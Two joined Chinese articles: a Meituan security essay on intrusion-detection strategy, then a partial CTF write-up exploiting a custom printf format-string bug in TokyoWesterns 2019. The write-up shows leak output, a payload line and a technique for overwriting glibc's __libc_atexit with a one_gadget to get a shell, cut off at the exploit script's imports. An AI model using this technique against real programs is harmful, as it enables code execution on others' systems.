另一个方面，入侵的区别是看行为本身是否“授权”，而授权与否本身是没有任何显著的区分特征的。因此，做入侵对抗的时候，如果能够通过某种加固，将合法的访问收敛到有限的通道，并且给该通道做出强有力的区分，也就能大大的降低入侵检测的成本。例如，对访问来源进行严格的认证，无论是自然人，还是程序API，都要求持有合法票据，而派发票据时，针对不同情况做多纬度的认证和授权，再用IAM针对这些票据记录和监控它们可以访问的范围，还能产生更底层的Log做异常访问模型感知。
这个全生命周期的风控模型，也是Google的BeyondCorp无边界网络得以实施的前提和基础。
因此，入侵检测的主要思路也就有2种：
* 根据黑特征进行模式匹配（例如WebShell关键字匹配）。
* 根据业务历史行为（生成基线模型），对入侵行为做异常对比（非白既黑），如果业务的历史行为不够收敛，就用加固的手段对其进行收敛，再挑出不合规的小众异常行为。
## 入侵检测与攻击向量
根据目标不同，可能暴露给黑客的攻击面会不同，黑客可能采用的入侵手法也就完全不同。比如，入侵我们的PC/笔记本电脑，还有入侵部署在机房/云上的服务器，攻击和防御的方法都有挺大的区别。
针对一个明确的“目标”，它被访问的渠道可能是有限集，被攻击的必经路径也有限。“攻击方法”+“目标的攻击面”的组合，被称为“攻击向量”。
因此，谈入侵检测模型效果时，需要先明确攻击向量，针对不同的攻击路径，采集对应的日志（数据），才可能做对应的检测模型。比如，基于SSH登录后的Shell命令数据集，是不能用于检测WebShell的行为。而基于网络流量采集的数据，也不可能感知黑客是否在SSH后的Shell环境中执行了什么命令。
基于此，如果有企业不提具体的场景，就说做好了APT感知模型，显然就是在“吹嘘”了。
所以，入侵检测得先把各类攻击向量罗列出来，每一个细分场景分别采集数据（HIDS+NIDS+WAF+RASP+应用层日志+系统日志+PC……），再结合公司的实际数据特性，作出适应公司实际情况的对应检测模型。不同公司的技术栈、数据规模、暴露的攻击面，都会对模型产生重大的影响。比如很多安全工作者特别擅长PHP下的WebShell检测，但是到了一个Java系的公司......
## 常见的入侵手法与应对
如果对黑客的常见入侵手法理解不足，就很难有的放矢，有时候甚至会陷入“政治正确”的陷阱里。比如渗透测试团队说，我们做了A动作，你们竟然没有发现，所以你们不行。而实际情况是，该场景可能不是一个完备的入侵链条，就算不发现该动作，对入侵检测效果可能也没有什么影响。每一个攻击向量对公司造成的危害，发生的概率如何进行排序，解决它耗费的成本和带来的收益如何，都需要有专业经验来做支撑与决策。
现在简单介绍一下，黑客入侵教程里的经典流程（完整过程可以参考杀伤链模型）：
入侵一个目标之前，黑客对该目标可能还不够了解，所以第一件事往往是“踩点”，也就是搜集信息，加深了解。比如，黑客需要知道，目标有哪些资产（域名、IP、服务），它们各自的状态如何，是否存在已知的漏洞，管理他们的人有谁（以及如何合法的管理的），存在哪些已知的泄漏信息（比如社工库里的密码等）......
一旦踩点完成，熟练的黑客就会针对各种资产的特性，酝酿和逐个验证“攻击向量”的可行性，下文列举了常见的攻击方式和防御建议。
### 高危服务入侵
所有的公共服务都是“高危服务”，因为该协议或者实现该协议的开源组件，可能存在已知的攻击方法（高级的攻击者甚至拥有对应的0day），只要你的价值足够高，黑客有足够的动力和资源去挖掘，那么当你把高危服务开启到互联网，面向所有人都打开的那一刻，就相当于为黑客打开了“大门”。
比如SSH、RDP这些运维管理相关的服务，是设计给管理员用的，只要知道密码/秘钥，任何人都能登录到服务器端，进而完成入侵。而黑客可能通过猜解密码（结合社工库的信息泄露、网盘检索或者暴力破解），获得凭据。事实上这类攻击由于过于常见，黑客早就做成了全自动化的全互联网扫描的蠕虫类工具，云上购买的一个主机如果设置了一个弱口令，往往在几分钟内就会感染蠕虫病毒，就是因为这类自动化的攻击者实在是太多了。
或许，你的密码设置得非常强壮，但是这并不是你可以把该服务继续暴露在互联网的理由，我们应该把这些端口限制好，只允许自己的IP（或者内部的堡垒主机）访问，彻底断掉黑客通过它入侵我们的可能。
与此类似的，MySQL、Redis、FTP、SMTP、MSSQL、Rsync等等，凡是自己用来管理服务器或者数据库、文件的服务，都不应该针对互联网无限制的开放。否则，蠕虫化的攻击工具会在短短几分钟内攻破我们的服务，甚至直接加密我们的数据，甚至要求我们支付比特币，进行敲诈勒索。
还有一些高危服务存在RCE漏洞（远程命令执行），只要端口开放，黑客就能利用现成的exploit，直接GetShell，完成入侵。
**防御建议** ：
针对每一个高危服务做入侵检测的成本较高，因为高危服务的具体所指非常的多，不一定存在通用的特征。所以，通过加固方式，收敛攻击入口性价比更高。禁止所有高危端口对互联网开放可能，这样能够减少90%以上的入侵概率。
### Web入侵
随着高危端口的加固，黑客知识库里的攻击手法很多都会失效了。但是Web服务是现代互联网公司的主要服务形式，不可能都关掉。于是，基于PHP、Java、ASP、ASP.NET、Node、C写的CGI等等动态的Web服务漏洞，就变成了黑客入侵的最主要入口。
比如，利用上传功能直接上传一个WebShell，利用文件包含功能，直接引用执行一个远程的WebShell（或者代码），然后利用代码执行的功能，直接当作Shell的入口执行任意命令，解析一些图片、视频的服务，上传一个恶意的样本，触发解析库的漏洞......
Web服务下的应用安全是一个专门的领域（道哥还专门写了本《白帽子讲Web安全》），具体的攻防场景和对抗已经发展得非常成熟了。当然，由于它们都是由Web服务做为入口，所以入侵行为也会存在某种意义上的共性。相对而言，我们比较容易能够找到黑客GetShell和正常业务行为的一些区别。
针对Web服务的入侵痕迹检测，可以考虑采集WAF日志、Access
Log、Auditd记录的系统调用，或者Shell指令，以及网络层面Response相关的数据，提炼出被攻击成功的特征，建议我们将主要的精力放在这些方面。
### 0day入侵
通过泄漏的工具包来看，早些年NSA是拥有直接攻击Apache、Nginx这些服务的0day武器的。这意味着对手很可能完全不用在乎我们的代码和服务写成什么样，拿0day一打，神不知鬼不觉就GetShell了。
但是对于入侵检测而言，这并不可怕：因为无论对手利用什么漏洞当入口，它所使用的Shellcode和之后的行为本身依然有共性。Apache存在0day漏洞被攻击，还是一个PHP页面存在低级的代码漏洞被利用，从入侵的行为上来看，说不定是完全一样的，入侵检测模型还可以通用。
所以，把精力聚焦在有黑客GetShell入口和之后的行为上，可能比关注漏洞入口更有价值。当然，具体的漏洞利用还是要实际跟进，然后验证其行为是否符合预期。
### 办公终端入侵
绝大多数APT报告里，黑客是先对人（办公终端）下手，比如发个邮件，哄骗我们打开后，控制我们的PC，再进行长期的观察/翻阅，拿到我们的合法凭据后，再到内网漫游。所以这些报告，多数集中在描述黑客用的木马行为以及家族代码相似度上。而反APT的产品、解决方案，多数也是在办公终端的系统调用层面，用类似的方法，检验“免杀木马”的行为。
因此，EDR类的产品+邮件安全网关+办公网出口的行为审计+APT产品的沙箱等，联合起来，可以采集到对应的数据，并作出相似的入侵检测感知模型。而最重要的一点，是黑客喜欢关注内部的重要基础设施，包括但不限于AD域控、邮件服务器、密码管理系统、权限管理系统等，一旦拿下，就相当于成为了内网的“上帝”，可以为所欲为。所以对公司来说，重要基础设施要有针对性的攻防加固讨论，微软针对AD的攻防甚至还发过专门的加固白皮书。
## 入侵检测基本原则
不能把每一条告警都彻底跟进的模型，等同于无效模型。入侵发生后，再辩解之前其实有告警，只是太多了没跟过来/没查彻底，这是“马后炮”，等同于不具备发现能力，所以对于日均告警成千上万的产品，安全运营人员往往表示很无奈。
我们必须屏蔽一些重复发生的相似告警，以集中精力把每一个告警都闭环掉。这会产生白名单，也就是漏报，因此模型的漏报是不可避免的。
由于任何模型都会存在漏报，所以我们必须在多个纬度上做多个模型，形成关联和纵深。假设WebShell静态文本分析被黑客变形绕过了，在RASP（运行时环境）的恶意调用还可以进行监控，这样可以选择接受单个模型的漏报，但在整体上仍然具备发现能力。
既然每一个单一场景的模型都有误报漏报，我们做什么场景，不做什么场景，就需要考虑“性价比”。比如某些变形的WebShell可以写成跟业务代码非常相似，人的肉眼几乎无法识别，再追求一定要在文本分析上进行对抗，就是性价比很差的决策。如果通过RASP的检测方案，其性价比更高一些，也更具可行性一些。
我们不太容易知道黑客所有的攻击手法，也不太可能针对每一种手法都建设策略（考虑到资源总是稀缺的）。所以针对重点业务，需要可以通过加固的方式（还需要常态化监控加固的有效性），让黑客能攻击的路径极度收敛，仅在关键环节进行对抗。起码能针对核心业务具备兜底的保护能力。
基于上述几个原则，我们可以知道一个事实，或许我们永远不可能在单点上做到100%发现入侵，但是我们可以通过一些组合方式，让攻击者很难绕过所有的点。
当老板或者蓝军挑战，某个单点的检测能力有缺失时，如果为了“政治正确”，在这个单点上进行无止境的投入，试图把单点做到100%能发现的能力，很多时候可能只是在试图制造一个“永动机”，纯粹浪费人力、资源，而不产生实际的收益。将节省下来的资源，高性价比的布置更多的纵深防御链条，效果显然会更好。
## 入侵检测产品的主流形态
入侵检测终究是要基于数据去建模，比如针对WebShell的检测，首先要识别Web目录，再对Web目录下的文件进行文本分析，这需要做一个采集器。基于Shell命令的入侵检测模型，需要获取所有Shell命令，这可能要Hook系统调用或者劫持Shell。基于网络IP信誉、流量payload进行检测，或者基于邮件网关对内容的检查，可能要植入网络边界中，对流量进行旁路采集。
也有一些集大成者，基于多个Sensor，将各方日志进行采集后，汇总在一个SOC或者SIEM，再交由大数据平台进行综合分析。因此，业界的入侵检测相关的产品大致上就分成了以下的形态：
* 主机Agent类：黑客攻击了主机后，在主机上进行的动作，可能会产生日志、进程、命令、网络等痕迹，那么在主机上部署一个采集器（也内含一部分检测规则），就叫做基于主机的入侵检测系统，简称HIDS。
* 典型的产品：OSSEC、青藤云、安骑士、安全狗，Google最近也发布了一个Alpha版本的类似产品 Cloud Security Command Center。当然，一些APT厂商，往往也有在主机上的Sensor/Agent，比如FireEye等。
* 网络检测类：由于多数攻击向量是会通过网络对目标投放一些payload，或者控制目标的协议本身具备强特征，因此在网络层面具备识别的优势。
* 典型的产品：Snort到商业的各种NIDS/NIPS，对应到APT级别，则还有类似于FireEye的NX之类的产品。
* 日志集中存储分析类：这一类产品允许主机、网络设备、应用都输出各自的日志，集中到一个统一的后台，在这个后台，对各类日志进行综合的分析，判断是否可以关联的把一个入侵行为的多个路径刻画出来。例如A主机的的Web访问日志里显示遭到了扫描和攻击尝试，继而主机层面多了一个陌生的进程和网络连接，最后A主机对内网其它主机进行了横向渗透尝试。
* 典型的产品：LogRhythm、Splunk等SIEM类产品。
* APT沙箱：沙箱类产品更接近于一个云端版的高级杀毒软件，通过模拟执行观测行为，以对抗未知样本弱特征的特点。只不过它需要一个模拟运行的过程，性能开销较大，早期被认为是“性价比不高”的解决方案，但由于恶意文件在行为上的隐藏要难于特征上的对抗，因此现在也成为了APT产品的核心组件。通过网络流量、终端采集、服务器可疑样本提取、邮件附件提炼等拿到的未知样本，都可以提交到沙箱里跑一下行为，判断是否恶意。
* 典型产品：FireEye、Palo Alto、Symantec、微步。
* 终端入侵检测产品：移动端目前还没有实际的产品，也不太有必要。PC端首先必备的是杀毒软件，如果能够检测到恶意程序，一定程度上能够避免入侵。但是如果碰到免杀的高级0day和木马，杀毒软件可能会被绕过。借鉴服务器上HIDS的思路，也诞生了EDR的概念，主机除了有本地逻辑之外，更重要的是会采集更多的数据到后端，在后端进行综合分析和联动。也有人说下一代杀毒软件里都会带上EDR的能力，只不过目前销售还是分开在卖。
* 典型产品：杀毒软件有Bit9、SEP、赛门铁克、卡巴斯基、McAfee ；EDR产品不枚举了，腾讯的iOA、阿里的阿里郎，一定程度上都是可以充当类似的角色；
## 入侵检测效果评价指标
首先，主动发现的入侵案例/所有入侵 =
主动发现率。这个指标一定是最直观的。比较麻烦的是分母，很多真实发生的入侵，如果外部不反馈，我们又没检测到，它就不会出现在分母里，所以有效发现率总是虚高的，谁能保证当前所有的入侵都发现了呢？（但是实际上，只要入侵次数足够多，不管是SRC收到的情报，还是“暗网”上报出来的一个大新闻，把客观上已经知悉的入侵列入分母，总还是能计算出一个主动发现率的。）
另外，真实的入侵其实是一个低频行为，大型的互联网企业如果一年到头成百上千的被入侵，肯定也不正常。因此，如果很久没出现真实入侵案例，这个指标长期不变化，也无法刻画入侵检测能力是否在提升。
所以，我们一般还会引入两个指标来观测：
* 蓝军对抗主动发现率
* 已知场景覆盖率
蓝军主动高频对抗和演习，可以弥补真实入侵事件低频的不足，但是由于蓝军掌握的攻击手法往往也是有限的，他们多次演习后，手法和场景可能会被罗列完毕。假设某一个场景建设方尚未补齐能力，蓝军同样的姿势演习100遍，增加100个未发现的演习案例，对建设方而言并没有更多的帮助。所以，把已知攻击手法的建成覆盖率拿出来，也是一个比较好的评价指标。
入侵检测团队把精力聚焦在已知攻击手法的优先级评估和快速覆盖上，对建设到什么程度是满足需要的，要有自己的专业判断（参考入侵检测原则里的“性价比”原则）。
而宣布建成了一个场景的入侵发现能力，是要有基本的验收原则的：
* 该场景日均工单 < X单，峰值 < Y单；当前所有场景日平均<XX，峰值 <YY，超出该指标的策略不予接收，因为过多的告警会导致有效信息被淹没，反而导致此前具备的能力被干扰，不如视为该场景尚未具备对抗能力。
* 同一个事件只告警首次，多次出现自动聚合。
* 具备误报自学习能力。
* 告警具备可读性（有清晰的风险阐述、关键信息、处理指引、辅助信息或者索引，便于定性），不鼓励Key-Value模式的告警，建议使用自然语言描述核心逻辑和响应流程。
* 有清晰的说明文档，自测报告（就像交付了一个研发产品，产品文档和自测过程是质量的保障）。
* 有蓝军针对该场景实战验收报告。
* 不建议调用微信、短信等接口发告警（告警和事件的区别是，事件可以闭环，告警只是提醒），统一的告警事件框架可以有效的管理事件确保闭环，还能提供长期的基础运营数据，比如止损效率、误报量/率。
策略人员的文档应当说明当前模型对哪些情况具备感知能力，哪些前提下会无法告警（考验一个人对该场景和自己模型的理解能力）。通过前述判断，可以对策略的成熟度形成自评分，0-100自由大致估算。单个场景往往很难达到100分，但那并没有关系，因为从80分提升到100分的边际成本可能变的很高。不建议追求极致，而是全盘审视，是否快速投入到下一个场景中去。
如果某个不到满分的场景经常出现真实对抗，又没有交叉的其它策略进行弥补，那自评结论可能需要重审并提高验收的标准。至少解决工作中实际遇到的Case要优先考虑。
## 影响入侵检测的关键要素
讨论影响入侵检测的要素时，我们可以简单看看，曾经发生过哪些错误导致防守方不能主动发现入侵：
* 依赖的数据丢失，比如HIDS在当事机器上，没部署安装/Agent挂了/数据上报过程丢失了/Bug了，或者后台传输链条中丢失数据。
* 策略脚本Bug，没启动（事实上我们已经失去了这个策略感知能力了）。
* 还没建设对应的策略（很多时候入侵发生了才发现这个场景我们还没来得及建设对应的策略）。
* 策略的灵敏度/成熟度不够（比如扫描的阈值没达到，WebShell用了变形的对抗手法）。
* 模型依赖的部分基础数据错误，做出了错误的判断。
* 成功告警了，但是负责应急同学错误的判断/没有跟进/辅助信息不足以定性，没有行动起来。
所以实际上，要让一个入侵事件被捕获，我们需要入侵检测系统长时间、高质量、高可用的运行。这是一件非常专业的工作，超出了绝大多数安全工程师能力和意愿的范畴。所以建议指派专门的运营人员对以下目标负责：
* 数据采集的完整性（全链路的对账）。
* 每一个策略时刻工作正常（自动化拨测监控）。
* 基础数据的准确性。
* 工单运营支撑平台及追溯辅助工具的便捷性。
可能有些同学会想，影响入侵检测的关键要素，难道不是模型的有效性么？怎么全是这些乱七八糟的东西？
实际上，大型互联网企业的入侵检测系统日均数据量可能到达数百T，甚至更多。涉及到数十个业务模块，成百上千台机器。从数字规模上来说，不亚于一些中小型企业的整个数据中心。这样复杂的一个系统，要长期维持在高可用标准，本身就需要有SRE、QA等辅助角色的专业化支持。如果仅依靠个别安全工程师，很难让其研究安全攻防的时候，又兼顾到基础数据质量、服务的可用性和稳定性、发布时候的变更规范性、各类运营指标和运维故障的及时响应。最终的结果就是能力范围内可以发现的入侵，总是有各种意外“恰好”发现不了。
所以，笔者认为，以多数安全团队运营质量之差，其实根本轮不到拼策略（技术）。当然，一旦有资源投入去跟进这些辅助工作之后，入侵检测就真的需要拼策略了。
此时，攻击手法有那么多，凭什么先选择这个场景建设？凭什么认为建设到某程度就足够满足当下的需要了？凭什么选择发现某些样本，而放弃另一些样本的对抗？
这些看似主观性的东西，非常考验专业判断力。而且在领导面前很容易背上“责任心不足”的帽子，比如为困难找借口而不是为目标找方法，这个手法黑客攻击了好多次，凭什么不解决，那个手法凭什么说在视野范围内，但是要明年再解决？
## 如何发现APT？
所谓APT，就是高级持续威胁。既然是高级的，就意味着木马很大可能是免杀的（不能靠杀毒软件或者普通的特征发现），利用的漏洞也是高级的（加固到牙齿可能也挡不住敌人进来的步伐），攻击手法同样很高级（攻击场景可能我们都没有见过）。
所以，实际上APT的意思，就约等于同于不能被发现的入侵。然而，业界总还有APT检测产品，解决方案的厂商在混饭吃，他们是怎么做的呢？
* 木马免杀的，他们用沙箱+人工分析，哪怕效率低一些，还是试图做出定性，并快速的把IOC（威胁情报）同步给其它客户，发现1例，全球客户都具备同样的感知能力。
* 流量加密变形对抗的，他们用异常检测的模型，把一些不认识的可疑的IP关系、payload给识别出来。当然，识别出来之后，也要运营人员跟进得仔细，才能定性。
* 攻击手法高级的，他们还是会假定黑客就用鱼叉、水坑之类的已知手法去执行，然后在邮箱附件、PC终端等环节采集日志，对用户行为进行分析，UEBA试图寻找出用户异于平常的动作。
那么，我们呢？笔者也没有什么好的办法，可以发现传说中的“免杀”的木马，但是我们可以针对已知的黑客攻击框架（比如Metasploit、Cobalt
Strike）生成的样本、行为进行一些特征的提取。我们可以假设已经有黑客控制了某一台机器，但是它试图进行横向扩散的时候，我们有一些模型可以识别这个主机的横向移动行为。
笔者认为，世界上不存在100%能发现APT的方法。但是我们可以等待实施APT的团队犯错，只要我们的纵深足够的多，信息足够不对称，想要完全不触碰我们所有的铃铛，绝对存在一定的困难。
甚至，攻击者如果需要小心翼翼的避开所有的检测逻辑，可能也会给对手一种心理上的震慑，这种震慑可能会延缓对手接近目标的速度，拉长时间。而在这个时间里，只要他犯错，就轮到我们出场了。
前面所有的高标准，包括高覆盖、低误报，强制每一个告警跟进到底，“掘地三尺”的态度，都是在等待这一刻。抓到一个值得敬佩的对手，那种成就感，还是很值得回味的。
所以，希望所有从事入侵检测的安全同行们都能坚持住，即使听过无数次“狼来了”，下一次看到告警，依然可以用最高的敬畏心去迎接对手（告警虐我千百遍，我待告警如初恋）。
## AI在入侵检测领域的正确姿势
最近这两年，如果不谈AI的话，貌似故事就不会完整。只不过，随着AI概念的火爆，很多人已经把传统的数据挖掘、统计分析等思想，比如分类、预测、聚类、关联之类的算法，都一律套在AI的帽子里。
其实AI是一种现代的方法，在很多地方有非常实际的产出了。以WebShell的文本分析为例，我们可能需要花很长很长的时间，才能把上千个样本里隐含的几十种样本技术类型拆分开，又花更长的时间去一一建设模型（是的，在这样的场景下，特征工程真的是一个需要更长时间的工作）。
而使用AI，做好数据打标的工作，训练、调参，很快就能拿到一个实验室环境不那么过拟合的模型出来，迅速投产到生产环境上。熟练一点可能1-2个月就能做完了。
在这种场景下，AI这种现代的方法，的确能几大的提高效率。但问题是，前文也提到过了，黑客的攻击黑样本、WebShell的样本，往往极其稀缺，它不可能是完备的能够描述黑客入侵的完整特征的。因此，AI产出的结果，无论是误报率还是漏报率，都会受训练方法和输入样本的影响较大，我们可以借助AI，但绝对不能完全交给AI。
安全领域一个比较常见的现象是，将场景转变成标记问题，要难过于通过数学模型把标记的解给求出来。此时往往需要安全专家先行，算法专家再跟上，而不能直接让算法专家“孤军奋战”。
针对一个具体的攻击场景，怎么样采集对应的入侵数据，思考这个入侵动作和正常行为的区别，这个特征的提取过程，往往决定了模型最终的效果。特征决定了效果的上限，而算法模型只能决定了有多接近这个上限。
此前，笔者曾见过一个案例，AI团队产出了一个实验室环境效果极佳，误报率达到1/1000000的WebShell模型，但是投放到生产环境里初期日均告警6000单，完全无法运营，同时还存在不少漏报的情况。这些情况随着安全团队和AI工程师共同的努力，后来逐渐地解决。但是并未能成功的取代原有的特征工程模型。
目前业界有许多产品、文章在实践AI，但遗憾的是，这些文章和产品大多“浅尝辄止”，没有在真实的环境中实践运营效果。一旦我们用前面的标准去要求它，就会发现，AI虽然是个好东西，但是绝对只是个“半成品”。真正的运营，往往需要传统的特征工程和AI并行，也需要持续地进行迭代。
未来必然是AI的天下，但是有多少智能，前面可能就要铺垫多少人工。愿与同行们一起在这个路上继续探索下去，多多交流分享。
## 关于美团安全
美团安全部的大多数核心开发人员，拥有多年互联网以及安全领域实践经验，很多同学参与过大型互联网公司的安全体系建设，其中也不乏全球化安全运营人才，具备百万级IDC规模攻防对抗的经验。安全部也不乏CVE“挖掘圣手”，有受邀在Black
Hat等国际顶级会议发言的讲者，当然还有很多漂亮的运营妹子。
目前，美团安全部涉及的技术包括渗透测试、Web防护、二进制安全、内核安全、分布式开发、大数据分析、安全算法等等，同时还有全球合规与隐私保护等策略制定。我们正在建设一套百万级IDC规模、数十万终端接入的移动办公网络自适应安全体系，这套体系构建于零信任架构之上，横跨多种云基础设施，包括网络层、虚拟化/容器层、Server
软件层（内核态/用户态）、语言虚拟机层(JVM/JS
V8)、Web应用层、数据访问层等，并能够基于大数据+机器学习技术构建全自动的安全事件感知系统，努力打造成业界最前沿的内置式安全架构和纵深防御体系。
随着美团的高速发展，业务复杂度不断提升，安全部门面临更多的机遇和挑战。我们希望将更多代表业界最佳实践的安全项目落地，同时为更多的安全从业者提供一个广阔的发展平台，并提供更多在安全新兴领域不断探索的机会。
【安利个小广告】
美团安全部正在招募Web&二进制攻防、后台&系统开发、机器学习&算法等各路小伙伴。如果你想加入我们，欢迎简历请发至邮箱[email protected]
具体职位信息可参考[这里](https://mp.weixin.qq.com/s/ynEq5LqQ2uBcEaHCu7Tsiw)
美团安全应急响应中心MTSRC主页：[security.meituan.com](https://security.meituan.com/#/home) | 社区文章 |
# TokyoWesterns CTF 2019 格式化漏洞利用的新姿势
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
前天刚结束的TokyoWesterns CTF
2019里碰到一道比较有意思的格式化漏洞利用的题printf，这里分享一下解题思路。与常规fsb题不同的是，printf这题程序自己实现了printf函数。
题目下载：
链接:<https://pan.baidu.com/s/1STlEFK7HoNZbW4JrYRSnIw> 密码:2j77
## 0x02 分析
题目给了3个文件，除了常规的libc还额外给了一个ld.so，ld.so用于装载libc。一般，我们可以设置LD_PRELOAD环境变量选择强制装载特定版本的libc，但若是该libc与编译程序时所采用的libc版本相差太大，往往出现错误。
这里需要用到[patchelf](https://github.com/NixOS/patchelf)这个工具，执行以下命令，将libc和ld.so指向题目所给的文件
patchelf --set-interpreter /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 printf
patchelf --set-rpath /root/workspace/elf:/libc.so.6 printf
现在printf程序指向了题目所给libc和ld.so
~/workspace/elf # ldd printf
linux-vdso.so.1 => (0x00007ffe09ac1000)
libc.so.6 => /root/workspace/elf/libc.so.6 (0x00007fd7c5dd0000)
/root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fd7c5fbb000)
保护全部开启
~/workspace/elf # checksec printf
[*] '/root/workspace/elf/printf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: '/root/workspace/elf:/libc.so.6'
反编译printf程序，`sub_136E`实际上是程序自己实现的printf函数
_int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rdx
__int64 v4; // rcx
__int64 v5; // r8
__int64 v6; // r9
__int64 v7; // rdx
__int64 v8; // rcx
__int64 v9; // r8
__int64 v10; // r9
const unsigned __int16 **v11; // rax
__int64 v12; // rdx
__int64 v13; // rcx
__int64 v14; // r8
__int64 v15; // r9
__int64 v16; // rdx
__int64 v17; // rcx
__int64 v18; // r8
__int64 v19; // r9
__int64 v20; // rdx
__int64 v21; // rcx
__int64 v22; // r8
__int64 v23; // r9
int i; // [rsp+8h] [rbp-118h]
int v26; // [rsp+Ch] [rbp-114h]
char buf[264]; // [rsp+10h] [rbp-110h]
unsigned __int64 v28; // [rsp+118h] [rbp-8h]
v28 = __readfsqword(0x28u);
sub_130D();
sub_136E((__int64)"What's your name?", (__int64)a2, v3, v4, v5, v6);
v26 = read(0, buf, 0x100uLL);
buf[v26 - 1] = 0;
for ( i = 0; i < v26 - 1; ++i )
{
v11 = __ctype_b_loc();
v7 = (__int64)*v11;
if ( !((*v11)[buf[i]] & 0x4000) )
_exit(1);
}
sub_136E((__int64)"Hi, ", (__int64)buf, v7, v8, v9, v10);
sub_136E((__int64)buf, (__int64)buf, v12, v13, v14, v15);
sub_136E((__int64)"Do you leave a comment?", (__int64)buf, v16, v17, v18, v19);
buf[(signed int)((unsigned __int64)read(0, buf, 0x100uLL) - 1)] = 0;
sub_136E((__int64)buf, (__int64)buf, v20, v21, v22, v23);
return 0LL;
}
经过测试，这个“自己实现”的printf函数存在格式化漏洞
~/workspace/elf # ./printf
What's your name?
%lx %lx %lx %lx %lx %lx
Hi,
0 7f730b0db580 7f730b001024 4 7f730b0e0540 0
Do you leave a comment?
%lx %lx %lx %lx %lx %lx
7ffcfcf0ec20 100 7f730b000f81 17 7f730b0e0540 0
利用格式化漏洞分别泄漏出stack地址、canary、libc基址、程序基址
由于`Full RELRO`开启，这里我们不能写got表。查看libc的`exit.c`源码：
/* Copyright (C) 1991-2019 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sysdep.h>
#include <libc-lock.h>
#include "exit.h"
#include "set-hooks.h"
DEFINE_HOOK (__libc_atexit, (void))
/* Initialize the flag that indicates exit function processing
is complete. See concurrency notes in stdlib/exit.h where
__exit_funcs_lock is declared. */
bool __exit_funcs_done = false;
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (true)
{
struct exit_function_list *cur;
__libc_lock_lock (__exit_funcs_lock);
restart:
cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
__libc_lock_unlock (__exit_funcs_lock);
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (onfct);
#endif
onfct (status, f->func.on.arg);
break;
case ef_at:
atfct = f->func.at;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (atfct);
#endif
atfct ();
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (cxafct);
#endif
cxafct (f->func.cxa.arg, status);
break;
}
/* Re-lock again before looking at global state. */
__libc_lock_lock (__exit_funcs_lock);
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
__libc_lock_unlock (__exit_funcs_lock);
}
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());
_exit (status);
}
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)
注意到`__libc_atexit`这个函数指针，当程序退出会调用exit函数，最终调用`__libc_atexit`所指向的地址
# RUN_HOOK (__libc_atexit, ());
...
# define DEFINE_HOOK_RUNNER(name, runner, proto, args)
DEFINE_HOOK (name, proto);
extern void runner proto; void runner proto { RUN_HOOK (name, args); }
...
现在问题就在于如何将`one_gadget`写入该地址。向buf随便输入一串字符（我这里输入`one_gadget`的值），在内存检索该值，一共找到两处：
继续组织这样一串字符输入到buf
pl = "%{}x{}".format(4096, p64(one_gadget))
s.ru("comment?")
s.sl(pl)
明显看到`one_gadget`往上了0x1000的偏移量进行写入，由于libc位于stack的上方，通过计算合适的偏移量便可用`one_gadget`覆盖`__libc_atexit`
当调用完`__libc_start_main`程序准备退出之时，我们跟进到libc的`exit`函数调用`__libc_atexit`的地方
可以在IDA里看到该处的代码
此时rbx的值，目标就是将0x7f7adebb46c8地址的值覆盖成one_gadget
来算算到达该地址所需要的偏移，这里的`0xa80e835298`便是偏移量
`0x1e66c8`是`__libc_atexit`相对于libc基址的偏移，可以在IDA找到该结构
`0x390`是栈内地址偏移
与我们计算出来的偏移相符合
覆盖`__libc_atexit`为`one_gadget`地址
## 0x03 get shell~
完整的EXP
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os, sys
# Setting at first
DEBUG = 3
LIBCV = 2.19
context.arch = "amd64"
#context.log_level = "debug"
